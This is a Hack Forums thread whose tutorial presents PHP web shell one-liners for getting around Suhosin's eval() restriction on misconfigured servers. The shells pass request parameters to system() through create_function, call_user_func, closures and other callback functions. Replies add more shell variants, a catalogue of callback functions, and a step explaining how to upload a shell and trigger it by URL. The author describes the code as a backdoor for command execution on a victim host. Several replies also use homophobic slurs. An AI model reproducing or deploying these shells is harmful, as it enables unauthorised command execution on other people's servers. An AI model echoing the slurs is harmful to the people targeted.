

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Circumventing Suhosin by using eval\(\) alternatives.](#)

Phizo - July 2, 2013, 5:42 am

Greetings.

This isn't a tutorial on how to circumvent Suhosin completely, but rather a few things to try on a terribly configured implementation of Suhosin.

I've tested and ensured the below methods work. You can see my post confirming it [here](#).

According to Suhosin's configuration documentation, suhosin.executor.disable_eval is set to "Off" by default. You would be lucky to come across a box configured like that, though.

What I'm about to provide shouldn't be looked upon as a definitive list of methods to circumvent the restriction of eval(); I encourage you all to research and discover more methods.

By default, suhosin.executor.func.blacklist (and whitelist) is empty. For those of you who have the Suhosin extension or patch installed, I would advise you to take notice of this thread and apply changes to your configuration if necessary.

First up, which some of you are already aware of, is using create_function() to create lambda-style functions.

It's supported in PHP versions 4 through to 4.0.1, as well as 5 and above.

PHP Code

```
<?php
$eval = create_function(null, $_GET['cmd']); // ?cmd=system('id');
$eval(); // function () { system('id'); } would be how it works behind the scenes, I would imagine.
```

// If you want to look like a really cool leet hacker in front of your buddies:

```
<?=(($x=create_function(null,$_GET[a]))?$x():0;?>
```

Whilst create_function() is great and all, it is easily able to be appended to Suhosin's function blacklist.

You can create your own lambda-style function without the need of create_function()'s helping hand. I'm actually unsure how this would be restricted by Suhosin without causing issues to non-malicious PHP code.

PHP Code

```
<?php
$eval = function ($func, $arg) { $func($arg); }; // Append more arguments if necessary.
$eval('system', 'id'); // $eval($_GET['func'], $_GET['arg']); -> ?func=system&arg=id
```

// Hey! Look at me! I'm cool!

// Okay, it does have purposes to write it like this; submitting HTTP requests through a raw TCP socket (Content-Length for PUT method, for example.):

```
<?=(($x=function($a,$b){$a($b);})?$x($_GET[a],$_GET[b]):0;?>
```

That's it for the lambda-style functions; we will now be moving onto callback functions. I'll be providing you with two.

call_user_func() was introduced in PHP version 4, and is still supported in version 5 and above.

call_user_func_array() was also introduced in PHP version 4. It's only supported until version 4.0.4, but makes a comeback in version 5.

PHP Code

```
<?php
// More than likely will have the other blacklisted if the other is, but you never know!
```

```
$eval = call_user_func($_GET['func'], $_GET['arg']);  
// ?func=system&arg=id ($mixedvar; can append multiple arguments for other functions.)  
$eval; // Returns the return value of the callback - use echo for functions that only return.
```

```
$eval = call_user_func_array($_GET['func'], array($_GET['arg']));  
// ?func=system&arg=id (can append multiple arguments within the array.)  
$eval; // Returns the return value of the callback - use echo for functions that only return.
```

// I is big, bad black-hat hacker. ?(???)?

```
<?=( $\$x$ =call_user_func($_GET[a],$_GET[b]))? $\$x$ :0?>
```

```
<?=( $\$x$ =call_user_func_array($_GET[a],array($_GET[b])))? $\$x$ :0?>
```

That's all I've discovered and played with for the past couple of hours.

It honestly took me longer to write this than come up with them. I'm hoping people will look themselves and discover other ways of doing it. So, don't be lazy and go look yourself.

I have no doubt that there are many more methods, but it's getting too late here to continue for today.

Oh, and if any of you suggest preg_replace()'s /e modified, I will personally slap you in the face.

SoLong - July 2, 2013, 5:46 am

Or you could just use Fuhosin, how about that?

A+ tutorial as always, OP is gay as fuck too.

TheGrayAviator - July 2, 2013, 5:49 am

(Jul 2, 2013 05:46 AM)puli Wrote: [\[CITE\]](#) OP is gay as fuck too.

I don't know what you mean by that. But I can certainly assure, that's one hell of a tutorial. Great work buddy, keep it up.

SoLong - July 2, 2013, 6:27 am

(Jul 2, 2013 05:49 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) I don't know what you mean by that. But I can certainly assure, that's one hell of a tutorial. Great work buddy, keep it up.

I'm trying to say Phizo is homosexually oriented.

engr?ze - July 2, 2013, 9:26 am

I see Phizo remains a f---agg-ot. A cool f---ag--got, though. Like Freddie Mercury.

Great guide.

Phizo - July 2, 2013, 7:59 pm

(Jul 2, 2013 05:46 AM)puli Wrote: [\[CITE\]](#) Or you could just use Fuhosin, how about that?

A+ tutorial as always, OP is gay as fuck too.

Sure, let's not try to be unique and learn ourselves; let's use someone else's shell.

You're gay.

Thanks for the replies, everyone.

Except for puli.

Spoiler [\(Click to View\)](#)

<3

Suved - July 3, 2013, 1:15 am

Nice tuorial

Thanks

anyone tested it?if yes post your result.

deiski - July 4, 2013, 2:36 am

Very nice as always, thread design looks great.

Phizo - July 4, 2013, 9:03 pm

(Jul 4, 2013 02:36 AM)?Cyan Wrote: [\[CITE\]](#) Very nice as always, thread design looks great.
Thank you.

192 views and 7 replies. Why am I not surprised?

cheatson - July 5, 2013, 4:16 am

Interesting tutorial, thanks for the share. I don't have it installed either, but have you considered `preg_replace()` with the `e` modifier tho?

Zixem - July 5, 2013, 9:53 am

PHP Code

```
<?php
```

```
// I is big, bad black-hat hacker. ?(???)?
```

someone, help me breath.

great thread Phizy :3 good to see that you're still active.

(Jul 5, 2013 04:16 AM)cheatson Wrote: [\[CITE\]](#) zixem is my true lovefinally, you bought a leet membership.

cheatson - July 5, 2013, 10:01 am

(Jul 5, 2013 09:53 AM)Zixem Wrote: [\[CITE\]](#) finally, you bought a leet membership.lol courtesy of apple jack ?

Phizo - July 5, 2013, 10:54 pm

(Jul 5, 2013 04:16 AM)cheatson Wrote: [\[CITE\]](#) have you considered `preg_replace()` with the `e` modifier tho?

Imagine me smiling psychopathically.

(Jul 5, 2013 09:53 AM)Zixem Wrote: [\[CITE\]](#) PHP Code

```
<?php
```

```
// I is big, bad black-hat hacker. ?(???)?
```

someone, help me breath.

great thread Phizy :3 good to see that you're still active.

I'm glad I'm not the only one that giggles at my own lame humor.

Yes, I'm still breathing. ^~^

Illicit - July 7, 2013, 3:37 am

Seems like a good tutorial, Im surprised the programmers didnt realize they had unsanitized the variables.

Anyway thanks, nice find .

Phizo - July 7, 2013, 9:16 pm

(Jul 7, 2013 03:37 AM)Illicit Wrote: [\[CITE\]](#) Seems like a good tutorial, Im surprised the programmers didnt realize they had sanitized the variables.

Anyway thanks, nice find .

I'm unsure what that your statement is implying, as this has nothing to do with variables being sanitized.

Thank you for your kind words.

frictionless - July 8, 2013, 1:54 pm

no preg_replace() with e modifier deprecated in php 5.5
but heres one everyone seems to overlook ;)

PHP Code

```
<?=@assert(mb_ereg_replace('/./', "print('\\1')", filter_input(1,_,516), 'e'));/* ?_=system('id'); */?>
```

Illicit - July 8, 2013, 5:32 pm

(Jul 7, 2013 09:16 PM)Phizo Wrote: [\[CITE\]](#) I'm unsure what that your statement is implying, as this has nothing to do with variables being sanitized.

Thank you for your kind words.

Im new to hacking, could you explain what caused the vulnerability? Was it not that the variables remained unsanitized?

Phizo - July 8, 2013, 9:25 pm

(Jul 8, 2013 01:54 PM)frictionless Wrote: [\[CITE\]](#) no preg_replace() with e modifier deprecated in php 5.5
but heres one everyone seems to overlook ;)

PHP Code

```
<?=@assert(mb_ereg_replace('/./', "print('\\1')", filter_input(1,_,516), 'e'));/* ?_=system('id'); */?>
```

The reason I said I would slap people for suggesting it isn't because it's deprecated in the latest PHP version (it isn't even a huge deal.)

The reason is because it invokes eval(), thus it won't work due to suhosin.executor.disable_eval.

This applies to your code, as well. *slaps you*

(Jul 8, 2013 05:32 PM)Illicit Wrote: [\[CITE\]](#) Im new to hacking, could you explain what caused the vulnerability? Was it not that the variables remained unsanitized?

Of course. c:

I'm unsure what variables you are referring to, as variables are irrelevant to the to circumvention of Suhosin's improperly configured function blacklist.

This "vulnerability" is caused due to misconfiguration of suhosin.executor.func.blacklist, as said in the tutorial.

A server administrator may add certain functions to the blacklist, but not the ones I've posted or ones that you may have discovered after researching, as advised. You would be better off using a whitelist (no doubt), just so you're aware.

If you're still puzzled by that explanation, I don't mind explaining further. Feel free to ask any questions you may have and I'll attempt to answer them for you.

Kyle1995 - July 8, 2013, 9:56 pm

Really great tutorial. Keep them coming!

Illicit - July 8, 2013, 10:35 pm

(Jul 8, 2013 09:25 PM)Phizo Wrote: [\[CITE\]](#) The reason I said I would slap people for suggesting it isn't because it's deprecated in the latest PHP version (it isn't even a huge deal.)

The reason is because it invokes eval(), thus it won't work due to suhosin.executor.disable_eval.

This applies to your code, as well. *slaps you*

Of course. c:

I'm unsure what variables you are referring to, as variables are irrelevant to the to circumvention of

Suhosin's improperly configured function blacklist.

This "vulnerability" is caused due to misconfiguration of suhosin.executor.func.blacklist, as said in the tutorial.

A server administrator may add certain functions to the blacklist, but not the ones I've posted or ones that you may have discovered after researching, as advised. You would be better off using a whitelist (no doubt), just so you're aware.

If you're still puzzled by that explanation, I don't mind explaining further. Feel free to ask any questions you may have and I'll attempt to answer them for you.

Thanks very much for your helpful response, Ill explain my previous post within the code shown:

```
Code $eval = create_function(null, $_GET['cmd']); // Methinks this should have been sanitized!  
$eval();
```

Was that not the reason? Have the programmers made a mistake?

EDIT: And what would the vulnerability lead to? The ability to access the forum despite the blacklist?

Phizo - July 8, 2013, 10:56 pm

(Jul 8, 2013 10:35 PM)Illicit Wrote: [\[CITE\]](#) Thanks very much for your helpful response, Ill explain my previous post within the code shown:

```
Code $eval = create_function(null, $_GET['cmd']); // Methinks this should have been sanitized!  
$eval();
```

Was that not the reason? Have the programmers made a mistake?

EDIT: And what would the vulnerability lead to? The ability to access the forum despite the blacklist?

Are you referring to Suhosin monitoring and sanitising input? I believe it does eliminate LFI and SQLi that way, but that doesn't apply to PHP code in general.

If an IDS is in place, whether it be just for the PHP implementation (superglobals) or one that greps incoming HTTP requests, obfuscation can be used as circumvention.

After reading the sentence after the code-block, I get the impression that you're not understanding what's said in the tutorial.

That is my code, not a snippet from Suhosin. You wouldn't sanitise your own code, that would cripple your shell.

These are just simple shells, are you aware of what they are?

It's essentially a file written to a directory as a backdoor, providing command execution.

Illicit - July 8, 2013, 11:13 pm

(Jul 8, 2013 10:56 PM)Phizo Wrote: [\[CITE\]](#) Are you referring to Suhosin monitoring and sanitising input? I believe it does eliminate LFI and SQLi that way, but that doesn't apply to PHP code in general.

If an IDS is in place, whether it be just for the PHP implementation (superglobals) or one that greps incoming HTTP requests, obfuscation can be used as circumvention.

After reading the sentence after the code-block, I get the impression that you're not understanding what's said in the tutorial.

That is my code, not a snippet from Suhosin. You wouldn't sanitise your own code, that would cripple your shell.

These are just simple shells, are you aware of what they are?

It's essentially a file written to a directory as a backdoor, providing command execution. Slaps himself

Oh I completely misunderstood the nature of this tutorial, I thought these were code snippets of vulnerabilities which could be exploited, because of this I was surprised they would make such a mistake.

So how does one inject a shell? Ill re-read the tutorial , perhaps Ill understand it more , once again thanks for the persistent help.

Phizo - July 9, 2013, 7:59 pm

(Jul 8, 2013 11:13 PM)Illicit Wrote: [\[CITE\]](#) *Slaps himself*

Oh I completely misunderstood the nature of this tutorial, I thought these were code snippets of vulnerabilities which could be exploited, because of this I was surprised they would make such a mistake.

So how does one inject a shell? Ill re-read the tutorial , perhaps Ill understand it more , once again thanks for the persistent help.

This tutorial doesn't cover how to attain shell access to the victim host, that's all up to you.

These are just a few things to try on a terrible implementation of Suhosin, to provide yourself with PHP code execution, which can further be used to provide yourself with shell command execution.

It's not a problem. If you put effort into learning, I don't mind answering questions.

Illicit - July 11, 2013, 5:06 pm

Yes.. Im back, after re-reading your post I was once more unable to conceive how to run the PHP code?

You seemed to have only covered the code itself (except for when mentioning sending requests into a port connection)

cheatson - July 11, 2013, 5:18 pm

(Jul 11, 2013 05:06 PM)Illicit Wrote: [\[CITE\]](#) Yes.. Im back, after re-reading your post I was once more unable to conceive how to run the PHP code?

You seemed to have only covered the code itself (except for when mentioning sending requests into a port connection)

If you were able to upload a php file, say suhosin.php with this code in it:

PHP Code

<?

```
$eval = create_function(null, $_GET['cmd']);
```

```
$eval();
```

```
?>
```

Then you would run it with:

Code `http://site.com/suhosin.php?cmd=system('enter command here');`

Illicit - July 12, 2013, 2:22 am

(Jul 11, 2013 05:18 PM)cheatson Wrote: [\[CITE\]](#) If you were able to upload a php file, say suhosin.php with this code in it:

PHP Code

<?

```
$eval = create_function(null, $_GET['cmd']);
```

```
$eval();
```

```
?>
```

Then you would run it with:

Code `http://site.com/suhosin.php?cmd=system('enter command here');`
Thanks for your helpful response. I am very grateful.

Phizo - July 17, 2013, 5:11 am

I got off my lazy behind and decided to install Suhosin, as I require it for development testing.
This is the default installation (patch and extension) with `suhosin.executor.disable_eval = On`:

Code `bash-3.2# php -v`

PHP 5.3.15 with Suhosin-Patch (cli) (built: Dec 9 2012 19:32:02)

Copyright (c) 1997-2012 The PHP Group

Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies

with Suhosin v0.9.33, Copyright (c) 2007-2012, by SektionEins GmbH

`bash-3.2# php -r 'eval("echo 1;");'`

PHP Fatal error: SUHOSIN - Use of eval is forbidden by configuration in Command line code(1) :
`eval()`'d code on line 1

These have all been tested and proved working on this installation.

Note: I did more than just test if they're callable.

PHP Code

`<?php`

`$methods = array('create_function', 'call_user_func', 'call_user_func_array');`

`$anonymous = function () {};`

`foreach($methods as $method)`

`if(is_callable($method)) echo "{$method} works." . PHP_EOL;`

`if(is_callable($anonymous))`

`echo 'Manual lambda-style functions work.';`

Code `bash-3.2# php test.php`

`create_function` works.

`call_user_func` works.

`call_user_func_array` works.

Manual lambda-style functions work.

Any alternatives should work, provided they aren't blacklisted.

Cathal - April 17, 2014, 11:16 am

This was very helpful with regards to a lil project I'm working on. Phizo continues to contribute even from the grave.

Kubrickian - May 9, 2014, 4:41 am

Cheers for this inspiring TuT my friend. Thanks very much mate. Bumped for brevity.

Tony S - May 9, 2014, 5:24 am

I know this thread is old and it's just been bumped but I'll list a couple more functions that you can use.

[register_shutdown_function\(\)](#)

Spoiler [\(Click to View\)](#)

PHP Code

`<?php register_shutdown_function($argv[1], $argv[2]); ?>`

Code `$ php test.php passthru "echo 123"`

123

[register_tick_function\(\)](#)

Spoiler ([Click to View](#))

PHP Code

```
<?php declare(ticks = 1); register_tick_function($argv[1], $argv[2]); ?>
```

Code \$ php test.php passthru "echo 123"

123

The [ReflectionFunction](#) class (invoke/invokeArgs methods)

Spoiler ([Click to View](#))

PHP Code

```
<?php $f = new ReflectionFunction($argv[1]); $f->invokeArgs([$argv[2]]); ?>
```

Code \$ php test.php passthru "echo 123"

123

[array_map\(\)](#)

Spoiler ([Click to View](#))

PHP Code

```
<?php die(array_map($argv[1], [$argv[2]])[0]); ?>
```

Code \$ php test.php passthru "echo 123"

123

Along with most of the functions that accept callbacks ~

Spoiler ([Click to View](#)) Code Function => Position of callback arguments

```
'ob_start'      => 0,
'array_diff_uassoc'  => -1,
'array_diff_ukey'   => -1,
'array_filter'     => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey'  => -1,
'array_map'        => 0,
'array_reduce'     => 1,
'array_udiff_assoc'  => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff'       => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect'   => -1,
'array_walk_recursive' => 1,
'array_walk'        => 1,
'assert_options'    => 1,
'uasort'            => 1,
'uksort'            => 1,
'usort'             => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply'     => 1,
'call_user_func'     => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler'  => 0,
```

```
'set_exception_handler'    => 0,  
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),  
'sqlite_create_aggregate'  => array(2, 3),  
'sqlite_create_function'   => 2,
```